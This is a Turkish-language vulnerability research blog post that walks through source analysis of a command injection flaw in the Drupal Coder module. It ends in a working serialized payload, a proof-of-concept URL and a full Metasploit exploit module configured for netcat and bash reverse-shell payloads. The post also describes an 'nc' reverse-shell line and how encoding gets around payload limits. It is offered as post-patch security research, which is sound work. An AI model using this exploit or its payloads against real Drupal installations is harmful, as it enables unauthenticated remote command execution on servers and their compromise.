Bildiğiniz gibi Drupal’in security ekibi zafiyet yönetimini son derece ciddiye almaktadır. Bu ekip, zafiyeti bulan kişi veya kişiler ile koordineli bir çalışma gerçekleştirip, çok kritik bir husus yok ise her haftanın çarşamba günü yama yayınlamakta. Benimde olaya dahil olduğum an, bu modül için yamanın yayınlandığı gün oldu.
Drupal Security ekibi, herhangi bir PoC kodu veya teknik detay paylaşımı gerçekleştirmemektedir. Bu durumda, eğer zafiyet çok bariz bir şekilde sırıtmıyor ise, 1day saldırıların önüne geçilmesi noktasında bir katma değere dönüşmektedir.
Bu zafiyet için PoC kodunun henüz oluşturulmuş olmaması, Core Security firmasındaki zafiyet araştırmacısı ekibin attığı tweetlerinde PoC için ciddi bir problem yaşadıklarını görmüş olmak benimde merakımı uyandırdı…
Ve serüven başlamış oldu.
Zafiyete İlk Bakış
Git commit’ine baktığımızda aşağıdaki bilgi bizi karşılamaktadır.
Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üzerinden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bize yardımcı olan bir bilgi değil.
Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
adresine web üzerinden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bize yardımcı olan bir bilgi değil.
coder_upgrade.run.php dosyasında ki kodları okumaya başlayalım.
extract_arguments()
fonksiyonu $path
isimli değişkeni oluşturmakta. Ardından bu path parametresi, bizim en sevdiğimiz iki fonksiyona, yani, file_get_contents
ve unserialize
fonksiyonlarına parametre olarak gönderilmekte.
unserialize
işlemi sonunda, yani string olarak ifade edilen bir php array’i $parameters
isimli bir değişkeni oluştururduktan sonra bir for döngüsüne girmekte. Burada ki en önemli nokta, $$key
yani değişken işaretçisinin kullanılmış olmasıdır. Bu sayede coder_upgrade.run.php
içerisinde istediğimiz isimde değişkeni tanımı yapabilir durumdayız. Şayet ki, $path
değişkeni kontrolümüz altında ise ?
Path değişkenini oluşturan extract_arguments
fonksiyon tanımı aşağıdaki gibidir.
138. satır der ki, eğer beni çağıran kişi apache2handler ise yani web üzerinden çağırılmış isem, aynı zamanda da GET parametresi olarak file tanımlı ise, $filename değişkenini return et. ( Bu return ekran görüntüsünde yoktur. 142. satırdaki değişken daha sonra fonksiyon return’ü ile geri gönderilmektedir. )
Sonuç ?
coder_upgrade.run.php
dosyasına GET parametresi olarak file ile gönderilen veri, öncelikle file_get_contents
fonksiyonuna gönderilmektedir. Buradan dönen sonuç ise unserialize
yani object injection süreçlerinden yakından tanıdığımız ikinci bir fonksiyona gönderilmektedir.
PHP düsyasını az çok tanıyan herkesin bildiği üzere, file_get_contents
fonksiyonu parametresi eğer saldırganın kontrolü altında ise; eski dostumuz RFI ve LFI, yeni dostumuz SSRF gibi zafiyetler oluşmaktadır. Bizim ilgilendiğimiz nokta ise olayı daha da ileriye götürmek ve Remote Code Execution yapabilmek. Peki ya nasıl ?
77 – 82 satırlar daha önce tanıdığımız kodlar. Bizim içinse en önemli nokta 81. satır yani değişken işaretçisinin kullanıldığı yer. Bu sayede uygulamanın devamında ki $variables, $path[‘files_base’]
vb tüm değişkenleri saldırgan olarak tanımlayabilmekteyiz. Bu değişkenlerin değerlerinin değiştirebiliyor olmamız ise bize uygulamanın kod akışını kontrol edebilme imkanı sunmaktadır. Kontrol ettiğimiz akışı ise istediğimiz bir fonksiyona yönlendirme ihtimalimiz mevcuttur.
Tüm kaynak kod analizi temelli saldırıların 3 ana adımı mevcuttur.
- Zafiyet Tespiti
- Varılmak istenen kod bloğu
- İstenen noktaya giden yolun bulunması
Bizim için birinci adım başarıyla tamamlanmış durumda. coder_upgrade.run.php
dosyasında ki tüm değişkenleri kendimiz tanımlayabilmekteyiz. Peki varmak istediğimiz yer ?
➜ coder_upgrade find . -type f|xargs grep 'shell_exec(\|passthru(\|system(' ./includes/main.inc: shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
Görünen o ki includes/main.inc
dosyasında bir yerde shell_exec fonksiyonu parametreler ile çalıştırılmakta. Belki bu parametreleri değiştirebiliriz ? Ama öncelikle bu satırın geçtiği fonksiyonu, o fonksiyona erişmek içinse hangi kırılımlara ne değerlerin verilmesi gerektiğini öğrenmeliyiz.
578. satır shell_exec fonksiyonunun kullanıldığı an. 575 ve 576. satırlarda ise shell_exec tarafından kullanılan parametrelerin tanımları bulunmakta. Görünen o ki, eğer $item
isimli fonksiyon parametresini biz belirleyebilirsek, bir adet Command Injection zafiyetimiz oluşmakta. $item
isimli değişkeninde bir PHP array’i olduğunu not ederek yolculuğa devam ediyoruz. Bu fonksiyon yani coder_upgrade_make_patch_file
nerede ? kim tarafından çağırılıyor ?
İki adet haber bizi bekliyor. İyi haber; direk 63. satıra bakınız. $item
parametresi ile birlikte hedeflediğimiz fonksiyon çağırılmış durumda.
Kötü haber ise; 63. satıra kadar bir çok kontrol, fonksiyon çağrısı yani alt programlara dallanma mevcut. Görevimiz artık daha zor, bu nedenle yaklaşımımızı değiştirmemiz gerekiyor.
- 30. ve 51. satırlar arasında tüm if’ler için eğer kontrol edebildiğimiz bir parametre ise if’e hiç girmemeyi sağlamalıyız. Eğer girmek durumunda isek, mümkün mertebe en az dallanmaya sebeb olacak şekilde hareket etmeliyiz.
- 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek kontrol edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorundayız. Aksi halde 63. satıra yani Command Injection yapacağımız
coder_upgrade_make_patch_file
fonksiyonuna ulaşamayız.
Tüm bu kuralları ve süreci uygulamadan önce bir başka sorunumuz daha var. coder_upgrade_make_patch_file
fonksiyonuna erişmek istiyoruz ? evet! Peki bunu kim çağırıyor ? coder_upgrade_start
fonksiyonu. Güzel…
Peki coder_upgrade_start
’ı kim çağırıyor ? Zira bu fonksiyon çağırılmaz ise hiçbir şekilde coder_upgrade_make_patch_file
adresine erişim sağlayamayacağız.
Yazının başına geri dönüyoruz. coder_upgrade.run.php
dosyası yani bizim saldırımızı başlattığımız dosyada 119. satıra bakınız. Tamda istediğimiz fonksiyon burada çağırılmış durumda..!
Durum Özeti
Uzun soluluklu seyahatimize başlamadan önce bir yol haritamızın özetini yapalım.
coder_upgrade.run.php
bizim başlangıç noktamız.file
parametresi üzerinden serialized edilmiş özel bir array gönderebiliyoruz. Bu array’in her indisicoder_upgrade.run.php
içerisinde bir değişken olarak tanımlanabilmekte. (foreach döngüsünü hatırlayın.)- 119. satırdaki
coder_upgrade_start()
bizim başlangıç fonksiyonumuz. Parametre olarak$upgrade
,$extensions
ve$items
değişkenlerini alıyor. Bu değişkenleri bir önceki adımda anlattığımız durum sayesinde biz tanımlayabilmekteyiz. coder_upgrade_start()
fonksiyonunda ki 30. ve 51. satırlar arasında tüm if’ler için eğer kontrol edebildiğimiz bir parametre ise if’e hiç girmemeyi sağlamalıyız. Eğer girmek durumunda isek mümkün mertebe en az dallanmaya sebeb olacak şekilde hareket etmeliyiz. Zira amacımız en kısa yoldan 63. satırdakicoder_upgrade_make_patch_file()
fonksiyonuna erişmek.- Gene
coder_upgrade_start()
fonksiyonunun tanımında ki 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek kontrol edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorunda. Aksi halde 63. satıra yani Command Injection yapacağımızcoder_upgrade_make_patch_file
fonksiyonuna ulaşamayız.
BAŞLANGIÇ
Daha önce belirttiğim gibi coder_upgrade.run.php
dosyasının 119. satırına hiçbir problem olmadan erişmemiz gerekmekte. 119. satıra gelmeden önce ilgimizi çeken bir kaç önemli değişken tanımı var.
Bu değişkenleri tanımlamak zorundayız, çünkü daha sonra bir çok süreçte kullanılıyor olacak. Gördüğünüz üzere $path
array’inde files_base
, libraries_base
ve modules_base
isimli array elemanlarına ihtiyacımız var. Saldırımızı en nihayetinde serialized edilmiş bir array üzerinden gerçekleştireceğiz. Bunun için öncelikle paths
değişkenini aşağıdaki şekilde saldırı kodumuzda tanımlamaktayız.
Burada dikkat edilecek husus; modules
, files
ve libraries
için doğru path’in tanımlanması. Bunun içinde ../.. dizin tanımlarını kullanabiliriz.
119. satıra gelmeden önce karşımıza bir diğer dallanma durumu çıkmakta.
Bu durumdan kurtulmak için $theme_cache
parametresini var olmayan bir dosya veya klasör ile tanımlayabiliriz. Böylece is_file
fonksiyonu FALSE dönecek ve dallanma önlenmiş olacaktır.
Saldırı array’imizin son hali aşağıdaki duruma geldi. theme_cache
ve variable
sisimli iki array elemanı daha ekledik. Bunlardan theme_cache
var olmayan bir dosya ismi yazdık ki yukarıdaki dallanma gerçekleşmesin.
Ve sonunda 119. satırdaki coder_upgrade_start()
fonksiyonuna sorunsuz bir şekilde erişmiş buluyoruz. Unutmamalıyız ki, henüz başlangıç noktasına geldik. coder_upgrade_start()
üzerinden coder_upgrade_make_patch_file()
fonksiyonuna erişmeye çalışacağız.
1. adım – coder_upgrade_start() Fonksiyonu
Bu fonksiyon oldukça uzun bir tanıma sahip. Yazının daha önceki kısımlarında fonksiyon tanımı paylaşılmıştı. Tekrar hatırlatmak ve adım adım analiz etmek için aşağıda tanımı tekrar veriyorum.
Amacımızıda tekrar hatırlatmakta fayda var, 63. satırda ki coder_upgrade_make_patch_file()
fonksiyonuna erişmeliyiz.
İlk dikkat çeken nokta 30-38. satırlar arasında ki if tanımları. $upgrades, $extensions ve $items değişkenleri array olmalı. Aynı zamanda da en az bir adet elemanı bulunmalı. Aksi halde return False
sonucu oluşacak ve 63. satıra gelmeden execution sonlanacaktır. Bu üç değerinde fonksiyon parametresi olduğunu görmekteyiz. Yani bu tanımları coder_upgrade.run.php
üzerinde yapmalıyız.
Saldırı kodumuzunda ki array’i aşağıdaki şekilde güncelliyoruz.
Bu bizi hiçbir return False
komutuna düşmeden doğrudan 39. satıra kadar getirmiş olacaktır.
39 – 50. satırlar arasında ki kodları ise maalesef kontrol edemiyoruz. Bunun nedeni hem variable_get()
fonksiyonu çağrılarıdır, hemde bazı değişkenler fonksiyon yerel değişkenleridir. Fonksiyon yerel değişkenlerini global
ön tanımı olmadığı sürece kontrol edememekteyiz. Bu durumda bizi doğrudan 51. satırda ki coder_upgrade_load_code($upgrade)
fonksiyonu çağrısına getirmektedir. $upgrade
değişkenini kontrol edebildiğimiz için bu fonksiyonada özel olarak bakmalıyız. Herhangi bir sorun olmadan bu fonksiyon return True
döndürmelidir. Aksi halde 63. satıra ilerleyemeyiz.
Gene ilk bakışta dikkat çeken bir çok dallanma ve daha da önemlisi require_once
çağrılarıdır. Yerel dizin üzerinden başka dosyalar çağırılabilmekteyiz. Bu özellik sayesinde Local File Inclusion saldırıları gerçekleştirebilme ihtimalimiz mevcut. Lakin amacımız doğrudan 63. satıra yani Command Injection yapacağımız fonksiyona erişmek olduğu için zaman kaybetmeden coder_upgrade_load_code()
fonksiyonunun sonuç üretmesini sağlamalıyız. Unutmayın, $upgrade parametresini biz kontrol etmekteyiz!
İlk karşımıza çıkan,78. satırdaki foreach
döngüsü oldu. Bu döngüyü bir kere dönüp fonksiyondan çıkmayı istemekteyiz. Ayrıca 80. satırdaki if ile yapılan dallanmaya dikkat edin. Değer 80. satırda ki if kontrolü false olursa 85. satırdaki drupal_get_path()
çağrısı yapılacaktır. Bu çağrı ile uğraşmaktansa direk 82. satırdaki değişken tanımını yapmayı tercih etmeliyiz. Böylece çok daha az bir dallanma ile yolumuza devam edebiliriz.
İkinci bir alt dallanma ise 87. ve 92. satırlarda ki if, elseif tanımları. Eğer 87. satırdaki if true dönerse, bir başka foreach
ve require_once
çağrısı olacaktır ki bunu hiç istemiyoruz. Ayrıca 92. satırda ki elseif true dönerse gene require_once
çağrısı olacaktır. Bu durumdan da kaçmak isteriz. Çünkü require_once
çağrılarının sonunda .upgrade gibi postfix tanımları mevcut. Bunu \x00 yani Null Byte injection ile aşabiliriz. Lakin PHP Null Byte Injection sadece PHP4 – PHP5.3 versiyonları arasında çalışmaktadır. Generic bir exploit yazmamıza engel olabilir. Belki hedefimiz PHP7.0 kullanmakta ?
Tüm bu çileye son verecek saldırı array tanımımız aşağıdaki şekilde olmalıdır. upgrades
tanımına dikkatlice bakınız. path değişkeni tanımlı ve içi boş OLMADIĞI için 82. satıra giriş yapabilmekteyiz. Böylece bahsettiğim 85. satırdakidrupal_get_path()
fonksiyonundan kurtulmuş oluyoruz.
Ayrıca $upgrade
değişkenimizde $files
parametresi olmadığı için 87. satırdaki dallanmadan da kurtuluyoruz. Bu bizi 92. satıra getirmektedir. Bu satırdaki if kontrolünün FALSE dönmesi içinde module
değişkenine foo
değerini atadık. Böylecek file_exist()
fonksiyonu FALSE dönecek ve 94. satırdaki require_once koduna hiç uğramadan fonksiyondan başarılı bir şekilde kurtulmuş olacağız.
Evet. Başladığımız noktaya geri dönmeyi başardık. coder_upgrade_start()
fonksiyonunun 51. satırındakicoder_upgrade_load_code($upgrades);
çağrısından başarıyla çıkmış olduk. Yolumuza devam etmenin zamanı geldi. 63. satıra erişmeliyiz. Bunun için coder_upgrade_start()
fonksiyonunun ilgili kod bloğunu tekrar aşağıda paylaşıyorum.
55. satırda bir başka foreach daha var. Buna girmek zorundayız. Aksi halde 63. satıra erişemeyiz. coder_upgrade_make_patch_file()
bizim hedefimiz!
Foreach döngüsü, $items
isimli array’in her elemanını tek tek $item
değişkeninde tutmakta. 63. satırdaki fonksiyonumuz ise $item
değişkenini parametre olarak almakta..! Harika! Lakin başka problemlerimiz var. En az 3 adet farklı fonksiyonunun çağrısı oluşacak…
57. satırda ki if eğer doğru sonuç üretirse, coder_upgrade_convert_begin()
fonksiyonu çağrılacaktır. Bunu engellemeliyiz. Başka bir dallanmayı istemiyoruz. Neyse ki if’i analiz ettiğimizde bu fonksiyona girmek için HTTP_USER_AGENT değişkenimiz ya tanımlı olmamalı, yada user agent değerimiz simpletest
olmamalıdır. Yani demem o ki, normal bir HTTP GET talebimiz bu 58. satıra dallanmaya zaten izin vermemekte. Güzel bir haber bu, yolumuza devam edebiliriz.
60. satırdaki coder_upgrade_convert_dir()
ve 62. satırdaki coder_upgrade_convert_end()
çağrılarından kaçamıyoruz. Şimdiye kadar yaptığımız gibi, bir yolunu bulup bu fonksiyonların problemsiz bir şekilde sonuçlanmasını sağlamalıyız. Her iki fonksiyonun parametrelerinin en az 2 tanesini biz kontrol edebiliyoruz.
1.1 Alt Dallanma: coder_upgrade_convert_dir() Analizi
Karşımıza çok daha büyük bir fonksiyon çıkmış durumda. Bu biraz motivasyon kırıcı olsada ben sadece ilgileneceğimiz kısımları, üzerinde saatler harcadıktan sonra, tespit ettim. Sadece ilgili kısımları sizlerle aşağıda paylaşıyorum.
166. ve 167. satırda kontrol edebildiğimiz iki değişken üzerinden $dirname
ve $new_dirname
tanımları yapılmış durumda. 170. satırdaki dallanmada ise bir tercih yapacağız. Bu tercih yazının Exploitation
kısmında karşımıza ciddi bir problem çıkartacak. Lakin o kısma daha sonra geliriz. Öncelikle sorunumuz şu: $new_dirname
eğer is_dir()
kontrolünden false dönerse sunucuda bir dizin oluşturulacak ( 171 ve 172. satırlar) eğer var olan bir dizini belirtirsek ise 175. satırda başka bir fonksiyon daha çağırılacak. Açıkcası daha fazla fonksiyon ile uğraşmak istemiyoruz. Bu nedenle tercihimiz 171. ve 172. satırlara girmek olmalı.
189. satırda ise $dirname
değişkeninin işaret ettiği dizinde ki tüm dosyalar üzerinde, 190. satırdaki foreach çalışacak. Ekran görüntüsüne dahil etmediğim bu kısım uzunca bir başka kod bloğuna ihtiva etmekte. Bu kısımlara girmemek için $dirname
değişkenini Drupal Coder ile gelen resim dosyasına işaret edebiliriz. Bu sayede scandir()
sadece resimlerin olduğu bir array dönecek. Böylece foreach’e girsek bile hiçbir .php, .module, .inc vb uzantıya sahip dosya olmadığı için foreach hiçbir iş yapmadan çıkacaktır :-)
Yeni saldırı array’imiz aşağıdaki şekilde oluşmaktadır. items
array’inin old_dir
ve new_dir
elemanlarına yukarıdaki paragrafta belirttiğimiz işi yapacak değerleri yazdık.
Bu fonksiyondan da alnımızın akı ile çıktıktan sonra, şimdi sıra ikinci fonksiyonumuzda.
1.2 Alt Dallanma: coder_upgrade_convert_end()
Artık şans yüzümüze gülmekte.
Gördüğünüz üzere çok az bir tanım var. Hiçbir şey ile uğraşmadan buradan direk geçiyoruz.
2. Ve beklenen an! coder_upgrade_make_patch_file()
Onca çileden sonra nihayet son durağa varmış bulunmaktayız. 551. satıra gelmek üzereyiz. shell_exec fonksiyonuna baktığımızda 551. satırdaki $old_dir
ve $new_dir
isimli iki parametrenin herhangi bir önlem alınmadan doğrudan komut içerisinde kullanıldığını görmekteyiz. Zira bunu yazının en başında tespit ettik ve buraya varmaya çalıştık.
548 ve 549. satırlarda bu iki değişkenin nasıl atandığını görmekteyiz. Eğer $item
isimli array’in old_dir
ve new_dir
isimli indisleri mevcut ise, bu değerler doğrudan yeni değişken üretiminde kullanılmakta. Bu bizim için mutluluk verici bir haber. Çünkü $item
array’i fonksiyon parametresinden gelmekte. Yani bizim en başından beri kontrol edebildiğimiz bir dizi.
Aşağıdaki saldırı array’imizin PoC halini oluşturmuş durumdayız. items array’inin new_dir isimli parametresine payload yerleştirilmekte. Bu sayede diff komutunu çalıştıran shell_exec fonksiyonunda Command Injection gerçekleştirebilmekteyiz.
Proof of Concept
Yukarıda son hali paylaşılmış olan array’imizi yerel sunucu üzerinden yayınlıyoruz.
http://10.0.0.1:8081/exploit.php a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}s:11:"theme_cache";s:16:"theme_cache_test";s:9:"variables";s:14:"variables_test";s:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}s:10:"extensions";a:1:{s:3:"php";s:3:"php";}s:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";s:7:"new_dir";s:15:"-v; sleep 100 #";s:4:"name";s:4:"test";}}}
Görüldüğü üzere serialized edilmiş halde karşımızda. Bu veriyi ise file
GET parametresi üzerinden uygulamaya göndermeliyiz. En başa, bu file parametresini gönderdiğimiz kod bloğunu hatırlayalım.
Hatırlarsanız extract_arguments()
fonksiyonu HTTP GET üzerinden file parametresini almakta ve $path isimli değişkene atamaktaydı. Bu değişken file_get_contents()
üzerinden indirilmekte ve unserialize edilerek saldırı array’imiz uygulamaya ulaştırılmaktaydı.
POC URL : http://10.0.0.162/drupal/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=http://10.0.0.1:8081/exploit.php
Sayfanın geri dönüşü 10 saniye
geciktiğini görmekteyiz. Bu bize Blind Command Injection
saldırı yapabildiğimizi ispatlamaktadır…!
Metasploit Modülü
Açıkcası şu ana anlatılanları analiz etmem 1 gün gibi ciddi bir süreye, güzel bir cumartesi günüme mal oldu. Detaylı bir kaynak kod analizi, dallanmaları engellemenin yolları, ufak ve ince trickler ile geçen sürenin ardından nihayet PoC’yi gerçekleştirebildik. Şimdi ise sıra “reliable exploit” ‘in geliştirilmesine geldi.
Karşılaşılan Engeller
Hatırlarsanız ki saldırı komutumuzu $item
array’inin new_dir
elemanı üzerinden göndermekteyiz. Uzun süren analizlerimizden bir tanesinde, command injection’ı gerçekleştirmeden önce bu değişkenin başka fonksiyonlar tarafından kullanıldığını görmüştük. Hatırlamayanlar için coder_upgrade_convert_dir()
fonksiyonuna geri dönelim.
Burada $item[‘new_dir]
yani bizim saldırı kodumuzu ilettiğimiz parametre mkdir()
ve chmod()
fonksiyonlarında kullanılmakta. Biz 175. satırda ki fonksiyondan korktuğumuz için -açıp ilgili fonksyonu okuyun, gerçekten korkutucu- 171. ve 172. satırlara giriş yapmayı tercih ettik. Zaten bu analizi yaparken de, bize daha sonra ciddi bir problem olacak bir karar veriyoruz, demiştik.
Problem #1: mkdir
ve chmod
fonksiyonları input olarak aldığı değişkenin 255 karakterden küçük olmasını istemektedir. Bu kural unix ailesinin dosya ismi boyutu sınırlandırmasından gelmekte. Buda saldırı kodumuzun -shellcode olarak düşünebilirsiniz- belirli bir limitte olmasını zorunlu kılmakta.
Ayrıca diff komutunun herhangi bir error üretip error.log’a yazılmaması için payload’ımız -v;
karakteri ile başlamakta. Komut sonrası kısmın işlem dışarısına alınması içinse [SPACE]#
kullanmak zorundayız. Buda zaten 255 gibi limitli olan bir payload alanı için 5 adet karakterimizide kaybettiğimiz anlamına gelmekte. Asıl payload uzunluğumuz 250 karakter olmak zorunda artık.
Problem #2: Gene mkdir
ve chmod
için parametre olaran gelen veride /
işareti path belirtmektedir. Bizim reverse_shell vb payloadlarımızı taşıyan bu değişkende / işaretini artık kullanamıyoruz. Yani nc -i /bin/bash 10.0.0.1 diyemeyiz. Çünkü payload içerisinde /
bulunmaktadır.
Bu problemleri Metasploit’in modüle özellikleri kullanarak aşabilmekteyiz.
Space alanının 250 yapılması ve BadChars olarak \x2f yani / işaretinin atanması Metasploit modülünün payload generate işleminde gerekli encoding’lerin yapılmasını sağlamakta.
Ayrıca PayloadType ve RequiredCmd olarakta 250 karakter altında payload ürettiğine emin olduğumuz payload tiplerini enable etmiş bulunuyoruz.
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Drupal CODER Module Remote Command Execution', 'Description' => %q{ This module exploits a Remote Command Execution vulnerability in Drupal CODER Module. Unauthenticated users can execute arbitrary command under the context of the web server user. CODER module doesn't sufficiently validate user inputs in a script file that has the php extension. A malicious unauthenticated user can make requests directly to this file to execute arbitrary command. The module does not need to be enabled for this to be exploited This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicky Bloor <nick@nickbloor.co.uk>', # discovery 'Mehmet Ince <mehmet@mehmetince.net>' # msf module ], 'References' => [ ['URL', 'https://www.drupal.org/node/2765575'] ], 'Privileged' => false, 'Payload' => { 'Space' => 250, 'DisableNops' => true, 'BadChars' => "\x2f", 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'netcat netcat-e bash-tcp' }, }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Jul 13 2016', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), ) if res && res.body.include?('file parameter is not setNo path to parameter file') Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit p = '' p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}' p << 's:11:"theme_cache";s:16:"theme_cache_test";' p << 's:9:"variables";s:14:"variables_test";' p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}' p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}' p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";' p << 's:7:"new_dir";s:' p << (payload.encoded.length + 5).to_s p << ':"-v;' p << payload.encoded p << ' #";s:4:"name";s:4:"test";}}}' payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}" send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), 'encode_params' => false, 'vars_get' => { 'file' => payload } ) end end
Bu iki bilgi ışığında bir metasploit modülü geliştirdim ve PR gönderdim. Bu yazının yazdılığı tarihte de IRC üzerinden HDM (HD Moore) ve WVU-7 nickli metasploit yetkilileri ile de uzun uzun münakaşa ettik. Şu anda itibariyle modül kabul almış durumda. (https://github.com/rapid7/metasploit-framework/pull/7115/)
Son
Olayın sonunda zafiyeti bulan NCC Group araştırmacısı ile de görüşmüş oldum. Kendisi zafiyeti tespit ettikten sonra Remote Code Execution için bir race condition durumunu kullanmaya çalıştığını dile getirmişti. Kendisine(Nickly Bloor) bu süreçteki katkılarından ötürü teşekkür ederim.